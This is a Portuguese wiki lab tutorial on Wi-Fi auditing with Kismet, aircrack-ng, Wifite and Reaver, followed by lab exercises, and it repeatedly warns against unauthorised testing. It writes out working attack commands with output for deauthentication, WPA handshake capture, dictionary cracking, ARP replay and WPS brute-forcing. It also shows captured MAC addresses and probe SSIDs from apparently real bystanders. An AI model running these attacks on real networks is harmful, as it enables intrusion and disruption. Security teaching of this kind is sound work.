Wifi - Utilizando kismet e aircrack

De Peotta-Wiki
Ir para: navegação, pesquisa

Ferramentas devem ser utilizadas para provas de conceito de alguma teoria correlata. Por esse motivo é muito importante que se conheça a teoria tanto das tecnologias quanto dos ataques que as envolvem.

Nesse sentido, antes de iniciar o laboratório é altamente recomendado que se leia os seguintes textos:



Conteúdo

Kismet

Kismet é uma ferramente de detecção rede sem fio (camada 2 - 802.11), sniffer, e sistema de detecção de intrusão. Kismet funciona com qualquer placa wireless que tenha suporte de monitoramento modo (RFMON).

Kismet identifica redes passivamente e tem a capacidade de capturar solicitações de conexão de usuário por redes que não informam SSID.

Existem muitas referências disponíveis sobre o assunto:

Kismet Hacking.[1] WarDriving and Wireless Penetration Testing. [2]



Aviso Aviso: O conhecimento deste artigo não dá o direito em invadir redes sem autorização!!! Monte um laboratório com equipamentos seus e execute os testes.



Note Nota: Todas as configurações são referente ao Backtrack 5.3.

Configurando Kismet

Primeiro é necessário identificar qual placa de rede está habilitada, e se essa placa possui suporte de monitoração.

# iwconfig

root@bt:~# iwconfig

wlan0     IEEE 802.11bgn  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=off  
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
# configurar interface wlan

root@bt:~# vi /usr/local/etc/kismet.conf

ncsource=wlan0
ncsource=wlan0,channel=11

Configurando GPS

Uma das vantagens do uso do Kismet é a possibilidade de registar o local onde uma determinada rede foi encontrada. Isso é particularmente interessante caso seja necessário um relatório de pontos de conexão.

root@bt:~# vi /usr/local/etc/kismet.conf

gps=true
gpstype=serial
gpsdevice=/dev/ttyS0
gpsreconnect=true

Daemon GPS Linux

root@bt:~# vi /etc/default/gpsd

START_DAEMON="true"
GPSD_OPTIONS=""
DEVICES="/dev/ttyACM0"
USBAUTO="true"
GPSD_SOCKET="/var/run/gpsd.sock"

Testando funcionamento GPS

root@bt:~# cat /dev/ttyACM0

$GPVTG,77.78,T,,M,0.66,N,1.22,K,A*03
$GPGGA,130257.000,1548.0367,S,04752.9515,W,1,6,1.22,1188.7,M,-9.8,M,,*7B
$GPRMC,130257.000,A,1548.0367,S,04752.9515,W,0.65,61.75,091012,,,A*58
$GPVTG,61.75,T,,M,0.65,N,1.20,K,A*08

Executar GPS

root@bt:~# /etc/init.d/gpsd start

root@bt:~# gpsd -N -n -D 3 /dev/ttyACM0

Rodando o Kismet

Note Nota: Não é necessário interface gráfica. Rode por linha de comando. Tudo que for analisado será gravado no diretório em que o kismet foi iniciado.

root@bt:~# kismet


Tela captura Kismet


  • Algumas informações sobre a imagem acima:


  • Name - Nome da rede detectada
  • T - Tipo da rede (A - AP, H Ad-hoc e P - Probe)
  • C - Criptofrafia (W - WEP, N - Aberta e O - (WPA/WPA2)
  • Ch - Canal de operação da rede
  • Pkts - Pacotes capturados
  • Size - Tamanho dos pacotes capturados
  • GPS - Informações do GPS
  • Networks - Quantidade de redes detectadas (151 redes)
  • Packets - Quantidade total de pacotes capturados (23142)
  • BSSID - Identificação do rádio (base station) - MAC


Caution! Cuidado: Testes sem autorização podem gerar problemas e ações criminais!!!

Note Nota: Para a rede WBAND16 temos uma infraestrutura por AP (Access Point) utilizando WPA com TKIP em um dispositivo Cisco.


Note Nota: Dispositivos fazem probe a fim de localizar uma rede conhecida. Se um dispositivo estiver com sua interface wireless habilitada ele irá procurar por uma rede conhecida enviando identificações que conhece (SSID).

Aircrack

Aircrack é uma ferramenta completa para testes de segurança em redes wifi.

Instalação

Para a distribuição Backtrack tudo está instalado.

Debian/Ubuntu

root@root:~# apt: apt-get install aircrack-ng

Windows

Download aircrack.
Descompactar em “C:\aircrack-ng-0.9-win\bin”.

Executar o prompt:

# (Menu Iniciar -> Executar -> cmd.exe)
c:\> cd “C:\aircrack-ng-0.9-win\bin”

Máquina Virtual

Baixe a máquina virtual vmware-aircrack-ng


Informações para os testes

  • MAC address do PC rodando aircrack-ng (atacante): 00:27:19:F6:78:9D
  • MAC address cliente wireless: 1C:C1:DE:FA:12:22
  • BSSID (MAC address do access point): 40:FC:89:6A:B5:B0
  • ESSID (Nome da rede wireless): MB860-6080
  • Access point channel: 6
  • Wireless interface: wlan0

Testando suporte da placa wireless

Note Nota: Para saber qual drive é suportado veja [drives suportados].

root@bt:~# aireplay-ng -9 wlan0

# 14:33:29 Trying broadcast probe request
# 14:33:29 Injection is working! (sua placa funciona bem!)
root@bt:~# airodump-ng wlan0 --gpsd
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                                                  
26:C1:DE:FA:12:22   -1        2        0    0   6  54 . OPN              hpsetup                                                                                                
40:FC:89:6A:B5:B0  -59       26       17    1   6  54e  WPA2 CCMP   PSK  MB860-6080                                                                                             
00:26:CB:B9:22:C0  -64       24        0    0   1  54e. WPA2 CCMP   MGT  88200Wireless-d                                                                                        
C0:C1:C0:57:B2:72  -82       21       53    1   1  54e  WPA2 CCMP   PSK  Allen_BSB                                                                                              
00:24:01:91:CD:64  -82        4        4    0   4  54e. WPA  TKIP   PSK  AAFBB                                                                                                  
00:1E:58:24:38:19  -87       22       14    0   1  54e. WPA2 CCMP   PSK  ADSL_GVT                                                                                               
C0:C1:C0:B8:DE:CA  -88       11        0    0   6  54   WPA2 CCMP   PSK  sbs003                                                                                                 
00:4F:62:22:F6:BA  -88       10        5    0   4  54   WPA2 CCMP   PSK  BSB002                                                                                                 
00:1A:70:E3:CF:66  -90        0        2    0 133  -1   OPN              <length:  0>                                                                                           
00:26:CB:B9:25:E0  -64       23        0    0  11  54e. WPA2 CCMP   MGT  88200Wireless-d                                                                                        
00:1C:10:0D:F1:8A  -79       29        3    0   6  54   WPA  TKIP   PSK  WBAND16                                                                                                
00:26:CB:C4:C0:E0  -82       14        0    0   1  54e. WPA2 CCMP   MGT  88200Wireless-d                                                                                        
54:E6:FC:FF:56:8D  -86        2        2    0   1  54e  WPA2 CCMP   PSK  dotz-bsb                                                                                               
00:3A:98:8F:42:50  -86       11        0    0   4  54e. WPA  TKIP   PSK  ITSPublic                                                                                              
50:3D:E5:30:65:3B  -87       17        0    0   2  54e. WPA2 CCMP   PSK  amda                                                                                                   
00:4F:62:23:02:40  -88       30        0    0   9  54   WPA2 CCMP   PSK  BSB001                                                                                                 
00:3A:98:8F:42:51  -88       12        0    0   4  54e. WPA2 CCMP   MGT  <length:  1>                                                                                           
C8:7B:5B:C2:80:B4  -88        4        2    0   4  54e  WPA2 CCMP   PSK  Oi_Velox_WiFi_80B4                                                                                     
                                                                                                                                                                                
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                       
26:C1:DE:FA:12:22  1C:C1:DE:FA:12:22  -92    0 - 1      0        2                                                                                                              
(not associated)   10:BF:48:F0:AC:95  -50    0 - 1     30       12  LUCENA RORIZ,AndroidZezinho,zezinho1                                                                        
(not associated)   28:E7:CF:46:0E:C0  -56    0 - 1      0       13                                                                                                              
(not associated)   8C:71:F8:D3:73:BC  -66    0 - 1      0        1                                                                                                              
(not associated)   04:46:65:79:6E:A4  -74    0 - 1      0        1                                                                                                              
(not associated)   48:60:BC:C6:8C:26  -74    0 - 1      0       33  UJCS,JORGE,CASTELAR-LOBBY,homosapiens,La Continental,Piso4 - AP3,SPA-WIFI,CRISTAL
(not associated)   98:0C:82:5F:FC:71  -76    0 - 1      0        4                                                                                                              
(not associated)   70:D4:F2:DC:E6:ED  -78    0 - 2     10        9  claro-wifi                                                                                                  
(not associated)   A0:75:91:A3:8E:69  -80    0 - 1      0        7  dlink,Android,PLX                                                                                           
(not associated)   00:14:A5:E4:C4:2A  -82    0 - 1      0        3                                                                                                              
(not associated)   E4:CE:8F:E1:C3:5D  -82    0 - 1      0        5                                                                                                              
(not associated)   2C:44:01:BF:96:06  -84    0 - 1     13        3                                                                                                              
(not associated)   00:22:FA:4D:48:38  -88    0 - 1      0        1                                                                                                              
(not associated)   14:7D:C5:34:7D:03  -90    0 - 1      0        1                                                                                                              
(not associated)   10:93:E9:38:D1:DA  -92    0 - 1      0        4  GVT-PA,HolidayInn,instahack-guest,Wayport_Access                                                            

Note Nota: BSSID que estão com status (not associated) é referente a estações não conectadas. Por esse motivo essas estações fazem probe, ou seja, procuram por redes que são conhecidas.

Exemplo:

BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                       
(not associated)   10:BF:48:F0:AC:95  -50    0 - 1     30       12  LUCENA RORIZ,AndroidZezinho,zezinho1  

Capturando pacotes

Exemplos de capturas

# Capturando pacotes interface wlan0 e armazenando em captura.pcap
root@bt:~# airodump-ng -w captura.pcap wlan0
# Capturando pacotes interface wlan0 no canal 6 e armazenando em captura.pcap
root@bt:~# airodump-ng -w captura.pcap wlan0 --channel 6

Ataque de desassociação

Faz com que todas as estações que esteja associadas a uma estação radio base (BS) sejam desassociadas ou desautenticadas.

root@bt:~# aireplay-ng -0 1 -a 40:FC:89:6A:B5:B0 -c 1C:C1:DE:FA:12:22 wlan0

# -0 Desassocia
# 1 Número de '''deauths''' enviados; 0 envia continuamente
# -a 40:FC:89:6A:B5:B0 MAC address do access point
# -c 1C:C1:DE:FA:12:22 MAC address do cliente; se essa informação for omitida todos clientes serão desassociados
# wlan0 Interface

WPA/WPA2: Captura Handshake

root@bt:~# airmon-ng start wlan0
root@bt:~# aireplay-ng -0 5 -a 40:FC:89:6A:B5:B0 -c 1C:C1:DE:FA:12:22 wlan0

16:32:41  Sending DeAuth to station   -- STMAC: [40:FC:89:6A:B5:B0]
16:33:51  Sending DeAuth to station   -- STMAC: [40:FC:89:6A:B5:B0]
16:33:51  Sending DeAuth to station   -- STMAC: [40:FC:89:6A:B5:B0]
16:33:52  Sending DeAuth to station   -- STMAC: [40:FC:89:6A:B5:B0]
16:33:53  Sending DeAuth to station   -- STMAC: [40:FC:89:6A:B5:B0]

# Abra outro console

root@bt:~# airodump-ng -c 6 --bssid 40:FC:89:6A:B5:B0 -w handshake.pcap wlan0

CH  9 ][ Elapsed: 4 s ][ 2012-10-16 16:33 ][ WPA handshake: 40:FC:89:6A:B5:B0
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  40:FC:89:6A:B5:B0  -59       26        17     1    6   54e WPA2 CCMP   PSK  MB860-6080
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                            
                                                                                                               
  40:FC:89:6A:B5:B0  1C:C1:DE:FA:12:22   45     0      17

Testando um dicionário WPA/WPA2

Dicionário em português com 250 mil palavras.

root@bt:~# aircrack-ng -w dictionario.txt handshake.pcap

Gerar requisições ARP

root@bt:~# airmon-ng start wlan0
root@bt:~# airodump-ng -c 6 -w arp.pcap --bssid 40:FC:89:6A:B5:B0 wlan0

# Abrir outro console

root@bt:~# aireplay-ng -0 10 -a 40:FC:89:6A:B5:B0 wlan0
root@bt:~# aireplay-ng -3 -b 40:FC:89:6A:B5:B0 -h 1C:C1:DE:FA:12:22 wlan0

Outras Ferramentas

Wifite

Wifite é uma ferramenta que se propõem a automatizar o processo de auditoria de uma rede wifi.

Suporta redes criptografadas WEP/WPA/WPS com diversos ataques conhecidos já implementados.

Instalação

root@bt:~# wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py
root@bt:~# chmod +x wifite.py

Exemplos de uso

# Audita todas redes que utilizam o protocolo WEP
root@bt:~# ./wifite.py -all -wep


# Audita redes com sinal igual ou maior que 50dB que usem o protocolo WPS
root@bt:~# ./wifite.py -p 50 -wps
# Captura handshakes e testa utilizando o dicionário
root@bt:~# ./wifite.py -all --dict dicionario.txt

Reaver-wps

Reaver-wps é uma ferramenta criada exclusivamente para testes de redes criptografadas que usam WPS.

Instalação

root@bt:~# apt-get update
root@bt:~# apt-get install reaver

Exemplos de Uso

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Required Arguments:
        -i, --interface=<wlan>          Name of the monitor-mode interface to use
        -b, --bssid=<mac>               BSSID of the target AP

Optional Arguments:
        -m, --mac=<mac>                 MAC of the host system
        -e, --essid=<ssid>              ESSID of the target AP
        -c, --channel=<channel>         Set the 802.11 channel for the interface (implies -f)
        -o, --out-file=<file>           Send output to a log file [stdout]
        -s, --session=<file>            Restore a previous session file
        -C, --exec=<command>            Execute the supplied command upon successful pin recovery
        -D, --daemonize                 Daemonize reaver
        -a, --auto                      Auto detect the best advanced options for the target AP
        -f, --fixed                     Disable channel hopping
        -5, --5ghz                      Use 5GHz 802.11 channels
        -v, --verbose                   Display non-critical warnings (-vv for more)
        -q, --quiet                     Only display critical messages
        -h, --help                      Show help

Advanced Options:
        -p, --pin=<wps pin>             Use the specified 4 or 8 digit WPS pin
        -d, --delay=<seconds>           Set the delay between pin attempts [1]
        -l, --lock-delay=<seconds>      Set the time to wait if the AP locks WPS pin attempts [60]
        -g, --max-attempts=<num>        Quit after num pin attempts
        -x, --fail-wait=<seconds>       Set the time to sleep after 10 unexpected failures [0]
        -r, --recurring-delay=<x:y>     Sleep for y seconds every x pin attempts
        -t, --timeout=<seconds>         Set the receive timeout period [5]
        -T, --m57-timeout=<seconds>     Set the M5/M7 timeout period [0.20]
        -A, --no-associate              Do not associate with the AP (association must be done by another application)
        -N, --no-nacks                  Do not send NACK messages when out of order packets are received
        -S, --dh-small                  Use small DH keys to improve crack speed
        -L, --ignore-locks              Ignore locked state reported by the target AP
        -E, --eap-terminate             Terminate each WPS session with an EAP FAIL packet
        -n, --nack                      Target AP always sends a NACK [Auto]
        -w, --win7                      Mimic a Windows 7 registrar [False]

Example:
        reaver -i mon0 -b 00:90:4C:C1:AC:21 -vv


coWPAtty

coWPAtty é uma ferramenta desenvolvida para auditar redes criptografadas com o protocolo TKIP que usem chaves pré compartilhada (pre-shared key - PSK).


Visualizando redes wifi no google maps com giskismet

Instalando

Instalando a ferramenta [giskismet] para processar arquivos capturados pelo kismet ou airodump.

root@bt:~# apt-get install giskismet

Gerando arquivo KML

root@bt:~# giskismet -x arquivo.netxml

# arquivo.netxml faz referencia ao arquivo gerado pelo kismet, pode aparecer como Kismet-20121009-08-11-52-1.netxml
# o arquivo wireless.dbl é gerado
# gera KML com todos os dados capturados
root@bt:~# giskismet -q "select * from wireless" -o teste.kml


# gera KML apenas que tenham ESSID='linksys' sem criptografia
root@bt:~# giskismet -q "select * from wireless where ESSID='linksys' and Encryption='None'" -o linksys.kml
# gera KML apenas com criptografia WEP
root@bt:~# giskismet -q "select * from wireless where Encryption='WEP'" -o WEP.kml

Importando arquivo KML google maps

Giskismet.png

Acesse o google maps (https://maps.google.com/). Procure por criar mapa. Preencha um título e uma descrição e clique em importar, escolha o arquivo teste.kml.

















Exercícios

Exercício 1

Utilizando o arquivo [laboratório wifi] HASH-SHA1: 162F2ACD70D33182551A63F23393BA3FF9886566 identifique:

  1. Quantidade total de redes detectadas.
  2. Quantidade de redes sem criptografia (redes abertas).
  3. Quantidade de redes com WEP.
  4. Quantidade de redes com WPA.
  5. Quantidade de redes com WPA2.
  6. Estatística de uso de frequências.
  7. Tipos de redes adhoc e infraestruturadas.
  8. Estatísticas redes 802.11abgn.

Exercício 2

Utilizando o arquivo [laboratório wifi] HASH-SHA1: 162F2ACD70D33182551A63F23393BA3FF9886566.

  1. Crie um arquivo KML.
  2. Importe no google maps apenas as redes identificadas como 802.11b.


Exercício 3

Utilizando a ferramenta Kismet ou aircrack. Faça uma varredura e responda:

  1. Quantidade total de redes detectadas.
  2. Quantidade de redes sem criptografia (redes abertas).
  3. Quantidade de redes com WEP.
  4. Quantidade de redes com WPA.
  5. Quantidade de redes com WPA2.
  6. Estatística de uso de frequências.
  7. Tipos de redes adhoc e infraestruturadas.
  8. Estatísticas redes 802.11abgn.
  9. Gere um arquivo KML com todas as redes.

Exercício 4

Wifi-diagrama.jpg

Seguindo o diagrama, monte o laboratório e faça os seguintes experimentos:

  1. Configure o AP (Acess Point) para utilizar o protocolo WEP;
  2. Capture os pacotes dessa rede, tentando identificar a chave WEP escolhida;
  3. Configure o AP (Acess Point) para utilizar o protocolo WPA;
  4. Capture os pacotes dessa rede, tentando identificar a chave WPA escolhida;
  5. Capture quais clientes estão conectados.

Referências

  1. Brad Haines e Frank Thornton e Michael Schearer, livro
  2. Chris Hurley e Russ Rogers e Frank Thornton (Author) e Brian Baker, livro
Ferramentas pessoais
Espaços nominais

Variantes
Ações
Navegação
Ferramentas